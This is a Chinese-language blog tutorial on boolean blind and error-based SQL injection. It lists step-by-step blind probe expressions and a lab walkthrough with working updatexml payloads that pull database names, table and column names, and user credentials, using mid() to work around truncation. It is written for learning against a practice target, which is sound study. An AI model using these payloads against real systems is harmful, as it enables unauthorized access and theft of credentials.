本文仅提供思路参考学习

上篇文章已经介绍了最简单粗暴的SQL注入,它是基于页面有回显所以可以迅速获取我们想要获取的,但是对于初学者来说,闭合的判断还是要熟练起来。这篇文章,我就要介绍另外一类型的SQL注入,布尔型注入

注入介绍

什么是布尔型注入,顾名思义,我们需要利用页面返回的正确与否来获取我们想要的信息,这类注入是因为网页没有回显信息,只能通过其页面是否正常进行判断,而其中又分为 盲注报错注入 因为布尔盲注是十分耗时的一个操作,所以一般使用工具,而报错注入是基于报错信息来获取我们想要信息的操作,并不耗时,所以着重介绍。

布尔盲注

布尔盲注说白了就是穷举法,一直试错,通过试错来找到我们想要的数据,所以非常耗时,接下来是它的思路:
1.首先是猜测数据库的长度length(database()) = 1... 从1开始,直到页面正常显示,那个数字就是它的长度。
2.数据库的名字,一般取字符或者ASCII left(database(),1)='a' 数字从1-8 因为长度为8,left函数的数字是截断的个数,右边是匹配的字符,如 1=s, 2=se , 3=ser ...
3.数据库的表数量,(select count(table_name) from information_schema.tables where table_schema =database())=1....
4.表的长度,length((select table_name from information_schema.tables where table_schema =database() limit0,1))=1... limit函数就是限制表的个数0表示位置,第二个表就是1,以此类推。
5.表的名字 ,left((select table_name from information_schema.tables where table_schema =database() limit0,1),1)='a'
6.表中字段数量 (select count(column_name) from information_schema.columns where table_name ='users')=1...
7.具体字段的长度 length((select column_name from information_schema.columns where table_name ='users' limit0,1))=1...
8.具体字段的名字 left((select column_name from information_schema.columns where table_name ='users' limit0,1),1)='a'...
9.字段的内容 left((select id from users limit0,1),1)='1'...
至此,终于查完了,可以感受到工程量的浩大,所以一般都是用工具跑的。

报错注入

其实对于那种没有回显信息的网页,但是有报错信息提示的网页,我们往往可以通过报错注入来获取我们想要的信息。其特殊之处在于利用某些特殊的函数,来显示在报错页面。

函数介绍

updatexml(XML_document,XPath_string,new_value)
extractvalue(xml_frag,xpath_expr)
两者都是利用xpath格式书写错误就会报错这个原理进行工作的
注意:两者爆破的最大字符数是32 超过32就会被截断,所以需要用mid函数截断显示
floor()函数报错,配合着rand(x) group by使用

靶场实战

老套路就不说了,先判断闭合的字符,然后就开始进行报错语句构筑
?id=1" and updatexml(0,concat(0x7c,database(),0x7c,version(),0x7c),1)

image.png

成功获得数据库名和版本,存在information_scheme 可以利用。

获取当前数据库的表名
and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7c),1)--+

image.png

获取users中的字段名
and updatexml(1,mid(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7c),1,32),1)--+

image.png

只能截取到前32位

重复 更改截取位置

获取users具体信息
and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7c),1,32),1)--+

image.png

重复 改位置 最后就能获取所有信息啦!

其实字符数多的话,还是用floor更稳定,这个重复截断需要看位置经测试,你需要观察因为是以,结尾的,如果你下次开头直接33开始,前面未完全显示的数据也不会显示,所以要算位置看下次开始的地方,比如I-KILL-这里占了7个字符,那我们想要它完全显示就可以从32-7即25的位置开始截取,这样比较稳妥

image.png

今日分享完毕!继续加油!

参考连接
https://blog.csdn.net/qq_4126...
https://segmentfault.com/a/11...


冷水泡面
7 声望2 粉丝